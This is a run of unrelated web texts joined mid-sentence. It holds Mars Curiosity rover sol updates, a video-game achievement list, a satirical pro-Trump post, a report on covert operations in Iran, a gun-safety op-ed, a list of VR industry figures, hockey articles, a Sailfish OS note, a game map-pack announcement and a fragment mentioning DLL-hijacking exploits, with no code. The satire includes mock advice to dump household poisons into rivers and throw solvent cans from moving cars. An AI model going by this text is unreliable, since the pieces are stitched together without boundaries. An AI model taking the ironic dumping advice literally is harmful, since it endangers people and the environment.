The drive planned for Sol 1616 halted early, apparently because the right rear wheel got stuck between two rocks. The mobility team concluded that it is safe to continue, so the drive planned for Sol 1617 is essentially the same as the previously-planned drive. Before the drive, ChemCam and Right Mastcam will observe a sand target named "New Sweden" and Right Mastcam will acquire mosaics of a layered bedrock outcrop dubbed "Hobbstown" and of the dunes that are the target of the drive. Mastcam will also measure dust in the atmosphere before the drive begins. After the drive and more testing of the drill, along with post-drive imaging to support planning on Wednesday, ChemCam will use AEGIS to select a target for chemical analysis.
Sol 1618 update by Lauren Edgar: A second stop at the dunes (22 February 2017)
The drive on Sol 1617 went well, and Curiosity drove 20 m to the south, which put us in a good position for another stop at the Bagnold Dunes. This site was selected to enable comparison of the leading and trailing edges of the dunes. Today’s plan includes ChemCam observations of disturbed and undisturbed soil, at targets named “Tomhegan” and “Macworth.” We’ll also acquire a Mastcam multispectral observation on “Macworth,” along with systematic deck monitoring. A number of environmental monitoring activities are planned in the first science block, including two dust devil surveys, a Mastcam tau, and a crater rim extinction observation to monitor atmospheric opacity. In the afternoon we have three MAHLI targets planned: “Waweig” (undisturbed ripple crest), “Tomhegan” (undisturbed ripple flank) and “Seboomook” (disturbed sand). APXS will also acquire data on “Tomhegan,” with an overnight integration on “Waweig.” Throughout the plan, Mastcam will also perform several change detection experiments at two different locations to monitor sand movement. Looks like quite the day for investigating the Bagnold Dunes!
Sol 1619 update by Ryan Anderson: Wrapping up dune stop #2 (24 February 2017)
We are wrapping up our observations at stop #2 of the second Bagnold dunes campaign. In the Sol 1619 plan, we start off with Navcam and Mastcam atmospheric observations, followed by a ChemCam observation of the sandy target “Leighton”. Mastcam will then document Leighton and the autonomously identified ChemCam target from the post-drive science block on Sol 1617. Throughout the day, there will also be a number of repeated Mastcam change detection observations. Afterward, we’ll drive away toward stop #3 and collect our standard post-drive imaging.
Sols 1620-1622 update by Lauren Edgar: A weekend full of remote sensing (24 February 2017)
On Sol 1619, MAHLI experienced a fault and did not finish its planned imaging, so unfortunately the subsequent arm and mobility activities did not execute. That means that the weekend plan is devoted to MAHLI recovery activities and a lot of remote sensing. I was the GSTL today, and although it was a challenging start to the day, we were able to put together a very full plan. The first sol starts by retracting the arm. Then Curiosity will acquire several environmental monitoring observations to measure atmospheric opacity and characterize spectral properties. ChemCam will then assess the composition of typical bedrock and veins, at targets “Chase Brook,” “Aziscohos,” and “Chandler Ridge.” On the second sol, Curiosity will wake up early for environmental monitoring, including a ChemCam passive sky observation, Mastcam tau, Mastcam crater rim extinction observation, and several Navcam movies to look for clouds. Later in the afternoon, ChemCam will assess the composition of a ripple crest at the target “Depot Mountain,” followed by another passive sky and Mastcam tau. Overnight, SAM will conduct an electrical baseline test to monitor instrument health, and on the third sol, APXS will carry out a thermal characterization test. Throughout the plan Mastcam and MARDI will acquire a number of images to monitor the movement of sand. So I guess the day turned into a bonus plan for the second stop at the Bagnold Dunes, enabling a lot of change detection activities!
Sols 1623-1624 update by Lauren Edgar: MAHLI diagnostics and remote sensing (27 February 2017)
Today’s two-sol plan is devoted to MAHLI diagnostics and remote sensing. It’s another late slide sol, so planning started three and half hours later than usual. The plan kicks off with arm activities to better understand the fault that MAHLI experienced last week. Then ChemCam will investigate “Dunn Brook,” a target that is just above “Chase Brook” from the weekend plan, and is shown in the above Mastcam image. The target shows some interesting color variations so ChemCam will be used to investigate changes in composition. We’ll also acquire a ChemCam observation of “Leighton,” to study the coarse sand grains at the crest of a ripple. Then Navcam will look for dust devils and clouds, in response to orbital observations that suggest recent increasing atmospheric opacity. On the second sol, Mastcam will acquire a multispectral observation on “Dunn Brook,” and will be used to document the previous APXS locations at “Tomhegan” and “Waweig.” We’ll also acquire a Mastcam image for deck monitoring to assess the movement of fines, and an upper tier Navcam mosaic to enable us to target features on Mt. Sharp. The second sol includes a number of environmental monitoring observations, using both Mastcam and Navcam to monitor the color and opacity of the atmosphere and search for dust devils. The plan also includes an APXS
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erron Road and South Miami Boulevard to an interchange.Interested in what everything the city council is doing tomorrow? Take a look at the agenda and come on out to City Hall at 1 p.m. tomorrow for the meeting, or just follow along on my Twitter account: @laurenhorsch.There are 35 achievements with a total of 1000 points.
Unlocked an Alternate or Alternate Pro routine.
Collected at least one move.
Collected at least 100 moves.
Collected at least 900 moves.
Collected a "Bromance" move anywhere in the game.
Collected the move "Crazy Hair" anywhere in the game.
Earned Gold stars with every character. (2)
Earned Gold stars on a Deluxe or Pro difficulty routine.
Unlocked all Pro routines.
Earned 3 stars on the Strength routine for "Talk Dirty."
Played every Beginner routine.
Unlocked all Deluxe routines.
Unlocked a Deluxe routine. (1)
Unlocked all Standard routines.
Unlocked a Pro routine.
Played 10 Cardio routines with Emilia.
Played 10 Strength routines with Bodie.
Played a Serious routine with Mo.
Played a Polished routine with Taye.
Played a Goofy routine with Glitch.
Played a Classic routine with Aubrey.
Completed the introduction to Dance Central Spotlight.
Played Dance Central Spotlight every day for one week. (2)
Danced through a Freestyle section with another player.
Player identified by biometrics.
Switched between dancer characters.
Played with a friend.
Collected every move in an individual song.
Earned a Multiplier of at least 32X on a Deluxe or Pro difficulty routine.
Completed all 80 routines in the game. (1)
Collected 600 moves and unlocked the Übertroopers.
Played 100 routines.
Used the same dancer character for 10 routines in a row.
Played the same song 3 times in a row.Sols 1189-1190: Drive precluded
9 December 2015
Because of a problem with one of the DSN station antennas, the data needed to plan a drive today were not received, so the Sol 1189-90 plan is dominated by remote sensing observations. Neither driving nor arm activities are possible until the necessary images are
retransmitted. On Sol 1189, ChemCam and Mastcam will observe the bedrock to the right of the rover, then Mastcam and Navcam will image the workspace in front of the rover to enable contact science to be planned on Friday. Early on Sol 1190 (when the lighting will be good), Mastcam will acquire a stereo mosaic of the "Namib" dune to the east. Later that sol, Navcam will search for clouds and ChemCam will perform a calibration activity.
by Ken HerkenhoffReally friggin’ great! Don’t let the CROOKED media fool you. President Trump has accomplished more in his first 100 days*** than the last 1000 presidents combined!
Aside from his major accomplishments–almost passing his signature healthcare plan, DonT. Care, not one but two travel bans, and a couple dozen tweets about taxes–President Trump has been BUSY.
So busy, I can’t possibly cover everything he’s accomplished, because this post would be about ten thousand pages long. BUT, I can take you through the highlights–some of the bills signed and the executive orders issued. So let’s get to it…
***Side note: Factor in days spent on the golf course, and Trump has really only been in office for, like, 80 days. So his accomplishments are even more impressive!
The GREATEST Laws Ever Signed.
The gridlock is over. In 100 days President Trump passed a HISTORIC 28 pieces of legislation. Impressive, because legislation is all about quantity, not quality.
Not to say the quality wasn’t GREAT. Because it was. In fact, you’re gonna see some real positive changes…not literally, of course, because, well, air quality will likely decline. As will the visibility range. And there’ll probably be a sharp increase in regional haze…but that’s beside the point!
Anyway, here are JUST eight of President Trump’s legislative highlights.
1. Signed bill repealing STUPID Alaskan Hunting Regulation which prevented hunters from shooting bears, wolves, and other predators out of airplanes and helicopters.
Hunting out of an aircraft is what America is all about.
Beyond the arcade thrill of killing nature two hundred feet below while you’re zipping through the sky in a giant piece of flying metal, aerial hunting teaches our children an important lesson: human supremacy.
God wouldn’t have invented semi-automatic weapons if he hadn’t intended for us to reign over the natural world with an iron fist and a sleepy conscience. That’s right: nature is below us, figuratively and now– thanks to President Trump– literally.
2. KILLED The Fair Pay and Safe Workplaces Rule.
Don’t let the name fool you. The Fair Pay and Safe Workplaces rule was the worst thing to happen to the economy since we banned child labor back in 1938.
The FPSW required all companies competing for federal, tax-funded contracts of $500,000 or more to disclose all serious safety, civil rights, and labor law violations made in the previous three years. It essentially “blacklisted” companies–prohibiting them from applying for federal contracts– all because they’d accidentally ripped off, killed, or injured a few employees.
And that’s not all! The FPSW also forced companies to comply with paycheck transparency regulations in attempt to promote equal pay AND outlawed forced arbitration clauses which required employees to settle all sexual harassment and discrimination cases outside of court and off public record. In other words, it sucked.
Which is exactly why President Trump and his fellow Republican patriots got rid of it.
3. Expanded State drug testing of unemployment applicants.
FINALLY! For eight years, Obama’s overreaching executive branch has unjustly prevented states from conducting suspicion-less drug tests on its citizens. Not anymore! This bill will save the states hundreds of thousands of dollars in unemployment benefits by spending millions on drug testing.
And get over it, liberals. You really think you’re helping these drug addicts? You’re enablers. This bill is exactly the kind of tough love these lowlifes need. Why? Because it helps them hit rock bottom.
Trust me, when you’re living under a tarp, eating pocket lint, and drinking out of a stream, the only thing you’re looking to “score” is a steady job.
4. Rolled back DUMB State Education Accountability Requirements.
If I can start by quoting myself: There is no faster way to turn our youth into gay socialists than with fancy liberal educationalizations. Luckily, Trump is looking out for us.
Back in March, Trump signed a bill which scrapped a bunch of STUPID Obama-era education regulations.
Basically, the federal government was TREADING on state education departments, making them do ridiculous things like measure student achievement, aid failing school districts, address student achievement gaps, require all students to participate in state assessments, and rate teacher prep programs to improve training for the future.
The liberals called this bungled mess of red tape the Every Student Succeeds Act. Ha!
Want students to succeed? Three words: sticker-based incentive program.
5. KILLED an unconstitutional rule preventing honest, hardworking, mentally ill Americans from purchasing firearms.
No explanation necessary.
6. TRASHED the Bureau of Land Management Planning 2.0 Rule.
I don’t know what genius thought this one up, but the BLM Planning 2.0 is a world-class dud. Originally thought to help further involve the public in planning projects involving the 250 million acres of public US land, what the BLM 2.0 really does is take the land away from those who cherish it most–logging, mining, oil, and gas companies–and hand it over to extremist environmental groups, with radical ideas like maintaining sensitive wildlife-rich areas and utilizing data and technology to determine where drilling and logging should occur.
7. TOSSED rule preventing Coal Companies from dumping Mining Waste into Streams.
The war on coal is over folks! Coal is coming back! Like most Americans, I love coal. I cook with it. Heat my house with it. I even converted my truck to coal power.
This bill was a no brainer. Because Streams are stupid. Who needs them when we have rivers?
8. DELETED the FCC’s Internet Privacy Protections.
It’s now legal for Comcast, Verizon, AT&T, and other broadband companies to utilize and sell their users’ sensitive information directly to marketers, financial firms, and data miners without permission. JACKPOT!!!
Once again, it’s all about the J-O-B-S. And the Internet Phishing industry was hit particularly hard by Obama-era rules and regs. No longer. America is going back to work!
THE GREATEST EXECUTIVE ORDERS EVER ISSUED.
And now, let’s take a look at President Trump’s Executive Order GREATEST hits.
1. Established April as National Sexual Harassment Awareness Month.
Wow! That’s really kind. But honestly, are you surprised? Liberals seem to forget that, as a candidate, Trump did more to raise awareness of sexual harassment than any other politician in history.
2. Issued Executive Order to Revise The Clean Water Rule.
The Clean Water Rule gives the big, bad federal government the ability to limit the amount of pollution us hardworking Americans are allowed to dump in major bodies of water. So yeah, it’s gotta go.
Washington bureaucrats CLEARLY don’t know the first thing about water. Because if they did, they’d know there’s one thing water’s really good at: WASHING STUFF. Like pollution.
Everyone knows that pollution can’t exist in water. Think about it. Once it touches water, it’s no longer pollution. Because it’s clean.
Rivers are particularly effective pollution dump zones, because, like flushing toilets, they have a current. Perfect for getting rid of crap.
Lookin’ to lose some old furniture? A bunch of plastic jugs? A few old car batteries? Toss ’em in a river. Don’t worry. It’s completely safe. Unwanted items will immediately be swept off to WHO CARES.
3. Declared March 19-25 National Poison Prevention Week in effort to boost poison awareness and limit children’s access to harmful household substances.
Great idea! Poison is bad, folks. I say get rid of household poisons all together.
Luckily, now that The Clean Water Rule is under revision, disposing of household poisons is easier than ever before. Simply gather all of your poison together, head on down to the closest body of water, and dump it in. Nothin’ to it!
Aerosols? No problem. Dispel freely out the nearest window.
Got a bunch of leftover solvent and paint cans? Here’s a fun tip: Save them in a plastic bag, and next time you’re out for a car ride with the family, take turns throwing them out the window.
Hucking empty poison cans out of a moving vehicle not only reminds children that poison is bad, but it’s also downright fun.
4. Signed Executive Order Expected to Roll Back Dodd-Frank Regulations and The Fiduciary Rule.
The good news just keeps on coming! For those who don’t know, The Fiduciary Rule prohibits financial advisors from putting their own interests ahead of their clients’. I know– completely unfair.
Here’s why: Financial Advisors offer advice. And their title gives absolutely no indication whether their advice is good or bad. It’s just plain old advice.
Maybe this point is better illustrated with an example: Say you stop and ask a veteran for directions. He accidentally points you the wrong way, and you drive five hours in the wrong direction. Whose fault is it?
Ask an anti-advice democrat and they’d tell you the veteran should be put in jail.
See what I mean? The fiduciary rule is bad.
I say we’re lucky to live in a country where our elected representatives are willing to stick up for our right to be swindled by our own financial advisors.
There’s a word for that, you know. Freedom.
Also, quick last point, Dodd-Frank is dumb. And thank god our new Treasury Secretary is set to review it. Because who better to gut and rewrite our financial regulations than an ex-Goldman Sach’s executive.
COMING SOON…MORE DEREGULATIONS
Here are just a few more anti-american regulations that are set for the chopping block.
1. Oil and Gas Company Methane Emissions.
Who needs them? I say let the methane flow. Literally a fart in the general direction of every hippy in America!
2. Car Pollution Standards.
Might as well get rid of these too!
3. The Mercury and Air Toxics Standard
Typical liberal scare tactics. Mercury is only one of the emissions controlled by the Mercury and Air Toxics Standard. The others are far more innocuous, like arsenic, chromium, and hydrochloric acid gas.
Well That Was Eventful!
What do you say liberals? Still think President Trump hasn’t accomplished anything? I bet you’re exhausted just from reading this.
So How Does All This Tip the Greatness Scale?
Well, technically all this stuff has been accounted for in past Great Updates.
BUT…There is something to be said for spreading the word, and introducing all you liberals to a little concept called THE TRUTH. So…quick couple of calculations…total up the new laws and executive orders…
It looks like we can tack on about:.666% Greatness.
So Adding on from last month…America is currently 32.616% GREAT.
(Visited 42 times, 1 visits today)ONE OF America's foremost foreign affairs reporters, Seymour Hersh, has claimed America is running a covert operation into Iran, funded by $US400 million ($A414 million) siphoned from other programs, with authorisation from Democratic congressional leaders.
According to Hersh, a journalist with the New Yorker magazine, Congress agreed to a request from President George Bush late last year to pay for a significant escalation of covert operations against Iran.
He said these included activities by the the Central Intelligence Agency and the Joint Special Operations Command, and involve support of the minority Ahwazi Arab and Baluchi groups and other dissident organisations.
They also included gathering intelligence about Iran's suspected nuclear-weapons program.
Hersh said covert operations were not new but had been stepped up dramatically in recent months, causing disquiet in Congress.You might have heard that the U.S. Senate last week finally voted to confirm the president’s nominee for surgeon general, Dr. Vivek Murthy.
You also might have wondered what all the fuss was about. The vote on America’s top doctor was held up for nearly a year, thanks to a campaign by the National Rifle Association. Dr. Murthy was endorsed by the medical community, but the NRA’s lobbying machine turned his nomination into a political battle. All because Murthy believes that gun violence, which kills an average of 86 Americans every day, is a public health issue.
For most of us, acknowledging that America has a gun violence problem is stating a fact. For the NRA’s leadership, it’s heresy.
The gun lobby’s goal is to expand its customer base—and boost gunmakers’ bottom lines, no matter the risk to public safety. So a new surgeon general committed to reducing gun violence isn’t what the gun lobby wanted for Christmas.
The NRA’s wish list looks more like this:
• Guns for felons. The NRA has fought for the rights of felons to buy and own firearms. That means successfully restoring gun rights to convicted murderers, robbers, rapists, and people guilty of transferring explosives to international terrorists.
• Guns for terror suspects. The NRA has opposed efforts to block terror suspects from buying guns. Today the FBI can stop terror suspects from boarding a plane, but not from purchasing firearms.
• Guns for domestic abusers. The NRA objects to restraining orders that require domestic abusers to give up their guns. This year, six states—including Scott Walker’s Wisconsin and Bobby Jindal’s Louisiana—defied the gun lobby and enacted laws that will help keep guns out of the hands of abusers.
• Guns for the mentally ill. The NRA opposed a new California law that will help prevent gun deaths, homicides and suicides both. Police and family members now can present evidence to a judge, who can order temporary custody of a mentally ill person’s guns for a brief, emergency period.
• Gun gag orders. The NRA objects to doctors asking patients basic questions about gun ownership. For example, before Congress repealed it in 2012, an NRA-authored gag order barred doctors and military officers from talking about guns with service members at risk of suicide.
• Guns on campus. The NRA has pushed for “campus carry” laws—despite near unanimous opposition from college presidents, law enforcement, and parents—and for arming educators in K-12 schools.
• Guns in bars. The NRA has pushed to allow guns in bars—despite the fact that 40 percent of people convicted of homicide had been drinking alcohol at the time of their offense.
• Guns in restaurants and grocery stores. The NRA supports the open carry of guns in cafes, burrito shops, and the produce aisle. They reiterated their position in June, after a staffer first made the mistake of calling open carry demonstrations “weird” and “scary.”
• Gun lawsuits. The NRA wants the ability to sue local officials for passing laws that protect public safety. They push for so-called “preemption” bills in statehouses—which allow them to file expensive lawsuits against towns, cities, and even mayors and city commissioners.
• Guns for everyone, no questions asked. The NRA opposed Washington State’s gun-sale background checks ballot measure this year. The measure passed with 59 percent of the vote. Like background check laws across the country, it will help keep guns out of dangerous hands, reduce gun crime, and save lives.
That’s the gun lobby’s wish list for America—more guns for everyone, everywhere, anytime.
The new surgeon general certainly has his work cut out for him. But in 2014, numerous states passed common-sense public safety laws, showing that the momentum for gun safety is building. And just like Dr. Murthy’s confirmation, that’s bad news for the NRA.
John Feinblatt is the president of Everytown for Gun Safety.As 2016 comes to a close, it is time to unveil the Heroes of 2016.
From marketeers to developers, producers to creatives – these people drove their potential within the industry to make a positive impact on where they worked. This is a list of the top fifteen people who made a difference – those who deserved to be noticed and followed.
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Ross Wheeler – How to reveal a new car through social VR
Ross Wheeler is Head of Automotive at Global Creative Agency, Imagination. Working with Ford, Jaguar Land Rover, Rolls-Royce Motor Cars and Aston Martin, he’s seen the industry launch projects such as the Land Rover Discover Lego Tower Bridge reveal. In addition, Ross led the world-first Virtual Reality launch of the Jaguar Land Rover, where HTC Vive users can experience the reveal moment through a VR app. The innovative use of technology shows how social VR can be sued to bring users into the moment of a reveal.
Catherine Allen – How to bring big ideas to life
Having worked for the BBC as a VR producer and then founding VR company, Lyristic, Catherine made two important pieces of VR content happen in 2016. The first is Easter Rising: Voice of a Rebel, which I featured previously and, as a First World War specialist, I loved. The second, with VR City, is the BBC’s first virtual reality talkshow, ‘No Small Talk,’ where conversations suit a virtual reality landscape. Her attribution to both these amazing projects mark her as an important person, and it also helps that she is consistently featured in Women in VR lists and is generally regarded as quite a lovely person. With her work with Lyristic, 2017 looks bright for Catherine.
Jonathan Shipman – How to use VR to impact the media world
Adman turned VR star at Framestore, Jonathan Shipman (aka ‘Shippy’ to his friends), is the company’s MD over in the Big Apple. He’s overseen many of the studio’s breakout VR projects – everything from the Game of Thrones ‘Ascend the Wall’ experience that first got tongues wagging about VR back in 2014, through to more contemporary projects like Time Inc’s Lumen, and Marvel’s ‘Battle for Avengers Tower’. Because of his mass-consumer impact, his work has been seen by millions of people around the world.
Ben Bennett – How to scan a boat very, very realistically
It has been a great year for DigitalVR making hyperrealistic experiences, so it makes sense to include the mean heading the push for realism. In the last few years, Ben has looked to fuse his passion for 3D imaging with Virtual reality to create immersive virtual environments of real world locations. This leads to the launch of a new dedicated division DigitalVR – and the creation of the RSS Discovery Vessel, one of the most realistic laser scans I have seen.
Ashley Cowan – How to drive emotional experiences through VR
If there is anyone which has done a lot in a short time, it would be Ashley. Under his guidance VR City has created two award winning VR documentaries, produced the world’s first live VR stream of a global awards show for the MTV EMA, brought VR to the Rugby 6 Nations, created a virtual tour of the Lagavulin distillery and put Jude Law, Lexus and an immersive theatre event into a groundbreaking 360° video. At the heart of his work is the drive to provide emotionally driven experiences – a passion which places him at the heart of this list.
Bertie Millis and Samantha Kingston – How to enter virtual reality marketing
It’s hard to disentangle the two, so I had merged them into one. In short, kindness and humbleness is what marks the duo from Virtual Umbrella. After making their start in 2015 and setting their course through 2016, they are known as thought-leaders in the space – and trust me, they know their stuff. They have proven that VR projects in their hands tend to prosper and reach out, and they have been one of the more active members of the UKVR community. Both are also incredibly active on Twitter, and has shown time and time again that the community is stronger in the Twittersphere than anywhere else. I fully expect them to grow quickly in 2017, and they are ones to check up every once in a while.
Alyssia Frankland – How to market cutting-edge VR dramas
Alyssia Frankland is a producer / director working for Breaking Fourth, a London-based VR studio focused on long-form narrative and storytelling. Following the success of their first drama Ctrl last year (which, by the way, was amazing), Breaking Fourth’s at the forefront of immersive storytelling in virtual reality. Through being a dedicated member of Women in VR and an advocate for Women in Tech, she has helped shape the emerging VR industry and promote the opportunities available for women as the industry grows. She is also, you know, a very lovely person. Big points for that!
Luciana Carvalho Se – How VR Evangelism is done right
VR Evangelist, supporter of women in VR – these two parts make Luciana who she is, and they are also part of her strength in the community. With big ideas and a big heart, she actively participates in the community and makes these ideas happen – from organising women in VR meetups to speaking to experts in the field. She is also one of the best Twitter accounts to follow – her insights and little quips make for good material in any VR Twitter feed, and it’s clear she knows her stuff. Good job! Looking forward to seeing what you do next, and good luck with the Realities Centre.
Samuel Trudgian – How to develop VR games
Among the big shots is a new, young star rising in the field. Joining as a games design and development student on placement, he joined Visualise since the Oculus’s DK2 was the most prominent, promising device. Learning from project to project, he became proficient in the understanding of film making narrative techniques and the translation to digital environment. Combining knowledge acquired through two years of study at the University of Greenwich and establishing a role at Visualise, he now has the opportunity to study part time and work full time in the field of virtual reality.
Matt Connors – How to optimise VR to be future-proof
Already used by more than 80 percent of the top gaming publishers, Simplygon is a pioneer and market leader of automatic real-time 3D data preparation, and is an essential tool in terms of making VR development more accessible. Simplygon’s automatic optimisation yields artist-quality 3D graphics – massively reducing the time and labour required for manual optimisation, freeing weeks of production resources.Matt Connor is spear-heading this, and with a sure head and a keen mind he is sure to have a say in VR’s future.Ryan Callahan was born in Rochester, NY, just a 6 hour drive from Madison Square Garden, where he’s captain of the team that drafted him 10 years ago. He’s considered the heart and soul of the New York Rangers, as an excellent two-way forward that can score and create offense with ease.
And the Rangers are considering trading him.
Currently, Callahan is in the last year of a 3 year deal, and is set to become an unrestricted free agent at seasons’ end. Word is, from the NY Post, that Callahan is looking for an extension in the neighborhood of 7 years and $42 million. The Rangers, who just gave a hefty extension to Henrik Lundqvist and Ryan McDonagh, as well as holding massive contracts from Brad Richards and Rick Nash, are getting handcuffed with the salary cap. Next year, according to capgeek.com, the Rangers will owe 10 players $42M+ against the salary cap, leaving them less than $30M to put together the rest of their roster.
If Callahan and the Rangers indeed agree with those terms, that would be 11 players owed $48M+ against the cap, which is an awful situation that the Rangers would rather avoid. However, it’s very likely that if Callahan would hit the open market right now, he would very easily reach those numbers or more.
That’s why the Rangers are thinking about trading him.
However, as much as it’s difficult to put that kind of strain on the salary cap, Callahan is indispensable to the Rangers. He’s captain, among the top scorers, and an excellent defensive forward, the kind of player the Rangers love. If money weren’t an issue, there is no doubt that he’s a Ranger for life.
While it is currently impossible for the Rangers to give Callahan that deal, because they simply don’t have the cap room, they do have 2 compliance buyouts this coming off-season to attempt to make room for him. The Brad Richards contract is looking a bit like a dud, with his contract expiring in 2020, when he’s 40, and getting a cap hit of $6.667M per season. Richards will not be nearly as productive as Callahan for the next 6 years, with Richards 5 years the elder, and his play declining at times. If I had the choice, I would choose Callahan over Richards, without any second thoughts.
I know it’s not as simple as that, because the Rangers would still be paying Richards, should the scenario I proposed take life. But the Rangers shouldn’t be giving the notion of trading a staple of their franchise like Callahan any thought. He’s too valuable to the team in order to be traded. This is a grand pickle that GM Glen Sather has presented for him, and there is no easy solution. But the Rangers should do everything they can to keep Callahan.
AdvertisementsMONTREAL -- With the Montreal Canadiens up a goal against the Boston Bruins in the third period Thursday night, Canadiens head coach Michel Therrien sent Manny Malhotra out for a defensive-zone faceoff Malhotra easily won over Gregory Campbell.
Chalk another one up for the veteran center, whose addition July 1 might end up paying way more dividends for the Canadiens than people first bargained.
For starters, Malhotra is among the league's top faceoff men, which will improve the team's defensive-zone start numbers. Through five games, he's won 65 percent of his faceoffs.
But his impact might be just as important off the ice, where he's already made himself one of the most vocal leaders on the team despite being a newcomer.
"Right from the first preseason game, he was a guy that was stepping up, and you could tell right away he was a vocal leader," Habs winger Brendan Gallagher told ESPN.com after Montreal's 6-4 win over the Bruins on Thursday night.
"And obviously being able to play the way he does, that helps. He's a great guy, he's not shy to come up to you and give you pointers. So far he's been great for me."
It was similar to a comment star goalie Carey Price made last week when asked who was speaking up in the room before the game and between periods with the departure of vocal leader Josh Gorges and captain Brian Gionta in the offseason.
"Manny Malhotra," Price said, without any hesitation.
Long after everyone had cleared the dressing room Thursday night, I sat down with Malhotra, and he looked a little sheepish when asked about having such a strong vocal presence despite being a new guy.
"I think it's just a part of being a veteran, is feeling confident and comfortable to speak your mind in the room," said Malhotra, 34. "Saying what you want to say when you want to say it. That hasn't changed for me. Obviously, I'm never trying to step on anyone's toes. But at the same time, if I see something, I'm going to say it. That's just part of who I am as a player."
Given how the Habs got younger in the offseason, his leadership presence is more than welcomed.
On the ice, he's a key addition to the penalty kill.
For a one-year deal worth $850,000, he's a bargain indeed.
"Great faceoff guy obviously, which is no small thing," said one NHL scout who was watching Thursday night's game. "Solid character guy. As an older player, your legs get heavy a bit when you don't get as many minutes as you are used to, so that's one adjustment for him, playing a fourth-line role. But he's a solid role player. Good pickup for them."
And to think there are many who thought his career was over after the Vancouver Canucks placed him on season-ending injury reserve during the 2012-13 season, with former general manager Mike Gillis at the time explaining the decision by saying the club was concerned it was too dangerous for Malhotra to play with his limited vision as a result of the left-eye injury suffered in March 2011.
Malhotra strongly disagreed with that assertion and vowed to return. But the phone was quiet in summer 2013. All he got was an AHL tryout with the Carolina Hurricanes' farm team, which he turned into an NHL contract with the Hurricanes last season. A terrific comeback story.
Looking back, he'd rather focus on thanking Carolina for getting a chance rather than revisit his exit out of Vancouver.
"It's in the past for me, it really is," Malhotra said. "I've put that to bed. Last summer was really trying. The stress of not knowing whether I would ever get that chance. I'm extremely grateful to the Hurricanes organization for giving me that opportunity to prove myself again. But I knew in my head and in my heart that I was still a player."
The Habs were certainly convinced, and team executive Rick Dudley talked to Malhotra's agent at the draft in Philadelphia when the free-agent window opened to speak to other teams.
"I got excited, I spoke with my wife about that opportunity as well as other calls we were getting," Malhotra said. "We had the opportunity to weigh everything."
The phone then rang at 12:01 p.m. July 1, and it was Montreal.
Manny Malhotra has been key on the draw for the Habs. AP Photo/Chris Szagola
"It was a no-brainer," Malhotra said of accepting Montreal's offer.
Mind you, Malhotra grew up a Bruins fan, so it's not as though he was fulfilling a childhood dream.
On the other hand, he had always been amazed at what it was like to play in the Bell Centre as an opposing player.
"Coming here as a visitor before, there was always that energy, the nerves that come along with playing in this building. But to have these fans on your side now, it's a special experience,” he said. "The Habs are a religion here, they love their hockey.
"It's a special feeling being part of this team. I remember always looking at the rafters as a visiting player and seeing all the names, it's the who's who of the Hall of Fame. The champions that have been here. The first time I walked into the dressing room at our practice rink, you saw all the pictures of the former captains, winners, Hall of Famers, you feel pretty special to be part of that fabric."
It helps to speak the language of choice in this province, too. Malhotra's French is terrific, not bad for a guy who grew up in English-speaking Mississauga, Ontario.
Turns out his mother is from just outside Levis, Quebec; his siblings were born in Quebec before his family moved to Ontario, where Manny was born.
"We'd go back and visit family in Quebec every summer, and I couldn't understand what my relatives were saying, so I told my mom, 'I got to learn and find out what's going on,'" Malhotra said. "Over the course of the years, I just picked up more and more."
His French is good, and more importantly, his vision is OK, Malhotra said.
"I never put a number on it, but it's good enough," he said. "I see everything. I just can't read a newspaper anymore, the fine print stuff. It's as if someone who wears glasses forgets to put them on. It's not the fine detail that you see. Other than that, I see everything fine."
He simply needed to be patient and allow for the needed time to adjust.
"That’s exactly what it was," Malhotra said. "Through the course of my recovery and rehab, I was in constant contact with Bryan Berard [who also suffered a scary eye injury]. One of the things he told me was, 'Be patient, it's going to come back. And eventually what you know as far as spacial awareness and vision, it just becomes the norm.' So that's where I'm at now."
He's at peace, that's where Manny Malhotra is now.Slowly by slowly Sailfish OS is catching along with different devices starting from Nexus 4 and many other phones.
But this time after quite a long period of indoor development, it’s now available to download for Google Nexus 7 which as you all know is a tablet.
Now this doesn’t mean that Sailfish OS, or better say Sailfish UI is optimized in any sort of way to run on a tablet and be “tablet friendly”. But some may like it and UI tweaks are always a good answer, of course when they come out or when you _The developer / hacker_ make it happen on your own Nexus 7!
As shown in the tweeted photo, that Nexus 7 is running Sailfish OS. Get it from Mer Adaptation Wiki Page, and follow the instructions to install Sailfish on your own Google Nexus 7.
In this video I have had a chance to show the very early build of Sailfish on Nexus 7 at MWC14:
Make it sail guys!
SOURCE | VIANew Jersey Gov. Chris Christie (R) said Tuesday that he’s “tired” of hearing discussion on the minimum wage and seemed to suggest that a higher minimum wage isn’t something to “aspire to.”
“I gotta tell you the truth, I’m tired of hearing about the minimum wage, I really am,” Christie said during an event at the Chamber of Commerce in Washington, according to a recording of his remarks by the liberal opposition research group American Bridge.
“I don’t think there’s a mother or father sitting around a kitchen table tonight in America who are saying, ‘You know honey, if my son or daughter could just make a higher minimum wage, my God, all our dreams would be realized,” he added. “Is that what parents aspire to for their children?”
The governor went on to say that parents aspire to an America where their children can make more money and achieve greater success, according to The Hill. He said those aspirations weren’t about a “higher minimum wage.”
Christie’s comments come a week after fellow Republican Gov. Scott Walker of Wisconsin said that he doesn’t think the minimum wage “serves a purpose.” Unlike Christie, Walker is up for re-election in November against Democrat Mary Burke, who supports raising the minimum age to $10.10 an hour.
Watch below:Wicca
Join Date: Jan 2008 Posts: 7,170 Norway Norway Location: Vestfold
PRTA MAP TEST PACK - 18th of April!
PRTA MAP TEST PACK
Download now available - see full announcement for details!
Map Pack
PRTA has been working hard to get some maps ready for a mappack that will be used for our events. Using git repositories and testing teams, as well as cooperating with clans and units in and outside of PRTA to produce the promtion, we are very proud to present the PRTA MAP TEST Pack!
Here is an overview of all the maps:
The Karez Offensive 4km Canada VS MEC
Borovsko Bridge 2km Russia VS Militia
Temelin 1km US(60s) VS Militia
Adak 4km US Army VS China
Assault on Grozny 2km Russia VS Militia
Op. Dragon Orchard 4km Russia VS US Marines
Steel Viper 4km PLA VS MEC
Bamyan 4km US(60s) VS Taliban
Operation Sapphire US(60s) vs ARF
The North American, European, and Russian Servers will all feature event servers for this mappack. With servers located far and wide we feel the community can find servers close to their location to play on. As always, the passwords for the servers will be released on the teamspeak prior to the event starting.
The password for the map files will be announced on saturday the 18th of April. The password for the servers will be given once the PRTA teamspeak reaches over 200 users. If that does not happen the password will be released at 1800PRT. The servers will run for all of sunday aswell.
TS IP: ts.prta.co
You may also click this link to join teamspeak:
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maker in Office 2010, and Windows Live Mail, a free e-mail client bundled with Vista but available as a free download for Windows 7 customers.
Other exploits aimed at leveraging DLL load hijacking bugs in uTorrent and Wireshark, a BitTorrent client and network protocol analyzer, respectively.
